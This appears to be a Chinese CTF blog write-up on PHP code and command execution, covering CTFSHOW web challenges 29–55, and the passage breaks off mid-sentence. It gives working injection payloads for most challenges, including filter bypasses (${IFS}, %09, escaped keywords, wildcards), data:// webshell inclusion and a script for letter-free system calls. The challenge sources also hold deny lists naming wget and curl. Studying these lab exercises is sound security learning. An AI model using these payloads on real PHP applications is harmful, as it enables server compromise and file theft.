title: PHP中的命令执行与代码执行
data: 2021-09-15
tags: CTF-web
PHP中的命令执行与代码执行
最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。
然后题目的话全都是来源于CTFSHOW的web入门。
对我这种新手来说真是太友好了!
命令执行与代码执行
在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。
通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。
这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。
在下面的文章里遇到了再分析。
常见的代码执行函数
在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:
1.eval($string):
把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
这里强调了合法代码和分号结尾。
我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string
当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
#这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
-------------------------------------------------------------------------------------------------------------------
2.assert($assertion):
如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
#在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
-------------------------------------------------------------------------------------------------------------------
3.call_user_func($func,$string):
该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
常见的命令执行函数:
在PHP中,允许我们执行系统程序命令。一般有以下函数:
1.system():
执行一个外部程序命令,并且输出执行结果,返回最后一行。
#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
执行一个外部程序。并返回执行结果最后一行的内容。
#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------
linux中用于打开文件的函数:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
某些常用的绕过姿势:
空格的绕过:
1.%09
2.重定向 <>
3.${IFS}
4./**/ 注释符
某些字符串被过滤:
1.cat--> ca\t
2.flag-->fl\ag-->fla''g
3.f*-->fla?????
CTFSHOW 命令执行
web 29:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=system(cat f*);
没什么好说的。过滤了flag.但是随便绕。举个栗子。
在linux系统中:
ca\t f''lag.php == cat flag.php
ca\t f\lag.php == cat flag.php
没什么好说的
web 30:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=passthru('cat f*');
过滤了system,用passthru代替。
web 31:空格过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=passthru('more%09f*');
空格被过滤了。使用%09代替。也可以使用
web 32-35:分号过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 33:过滤了单双引号
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 34:过滤了:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 35:
#payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
### web 36:过滤了数字
#payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
本题因为分号被过滤了。因此我们采用?>闭合。并且php中有许多不用括号的函数。因此这里我们利用这个include并结合文件包含的漏洞
web 37,38:文件包含
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
#payload:
GET:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=
POST:1=system("cat flag.php");
很明显的文件包含执行PHP代码。因为过滤了flag因此我们不能使用filter协议。
那么采用data协议写马。
web 39:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
#payload:?c=data://text/plain;base64,<?php system("cat f*")?>
这里在c后面添加了.php但是我们的代码中已经闭合。有没有这个.php影响都不大
web 40:无参RCE
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv() | 返回包含本地数字及货币格式信息的数组 | 该函数的第一个值就是"." |
Cuurent() | 返回数组中当前元素的值 | |
Next() | 指针指向下一个元素并且输出 | |
Array_reverse() | 以相反的顺序返回数组 | |
Print_r() | 打印变量 | |
Higlight_file | 高亮显示文件,没什么好说的 | |
Show_source | 跟highlight_file一样的效果。 | |
Array_reverse | 倒序数组 | |
Array_rand | 随机取出数组中的一个或多个单元 | |
Array_filp | 交换数组的键和值 | |
Readfile | 读文件 | |
sessionid() | 返回当前会话ID | |
scandir(directory,sorting_order,context) | 以数组形式返回文件和目录 | 第一个参数是目录,第二个是排序方式 |
pos | 取第一个值 |
web 41:无字母数字webshell之 或 构造
这题没什么好说的。ban了异或和取反。留了或。那么利用或构造即可.
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
#payload:c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//
首先我们需要拼接这个$c,进而完成php语句的构建。先拼接一个echo (’ ');shell;//);
再把中间的shell换成我们的构造的system(‘cat flag.php’)
这里需要注意的是用 . 连接就转成了字符串。就不用我们额外构造了。
贴个大佬的构造脚本
<?php
$payload = 'flag.php';//待构造的字母
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 1; $i < 256; $i++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
for ($j = 1; $j < 256; $j++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
if ((chr($i) | chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '|';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'|'.$b;
web 42:取消回显
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
#payload:?c=cat flag.php;
>/dev/null 2>1&1 是没有回显的意思。既然这样我们直接将语句分割开即可。
在Linux中有以下可用于分割语句:
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
也可以利用php的%0a进行换行处理。
web 43~52:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
#payload:?c=nl flag.php||
### web 44:多过滤了flag
#payload:?c=nl fla\g.php||
### web 45:多过滤了空格,用%09绕过
#payload:?c=nl%09fla\g.php||
### web 46:多过滤了$,数字,*
#payload:?c=nl<fla\g.php||
### web 47:多过滤了几个more tac
#payload:?c=nl<fla\g.php||
### web 48:多过滤了awk,sed,cut,od,curl
#payload:?c=nl<fla\g.php||
### web 49:通杀了
#payload:?c=nl<fla\g.php||
### web 50:通杀了
#payload:?c=nl<fla\g.php||
### web 51:
#payload:?c=nl<fla\g.php||
### web 52:多过滤重定向了,换个姿势。
#payload:?c=nl${IFS}fla\g.php||
web 53:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
#payload:?c=nl${IFS}fla\g.php
刚刚还在拿上一题的打,突然发现换题目了。换了,但没完全换。把||去掉就出flag了。
我自己试了试。发现 || 使用的过程中必须存在前两两条命令。问题不大
web 54:ban了很多
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
#payload:?c=vi${IFS}????????
这题ban了太多了。且不允许我们拼接了。但是问题不大。我们还有vim,vi,uniq.
web 55:匹配符的妙用
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
可以看到这里没有过滤空格。但是ban了字母分号反单引号,重定向。主要是没了字母我们无法构造命令了。
这里学学姿势吧.
姿势一:首先我们了解下bin目录下会存放我们可以使用的命令。既然没有了字母,我们找一些带数字的命令执行
#payload1:?c=/???/????64 ???????? --->匹配后是:?c=/bin/base64 flag.php
姿势二:/usr/bin目录下有一个bzip2压缩命令。与一些应用软件工具的必备执行档。
#payload2:?c=/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可
姿势三:无字母数字的webshell提高篇(P神)
太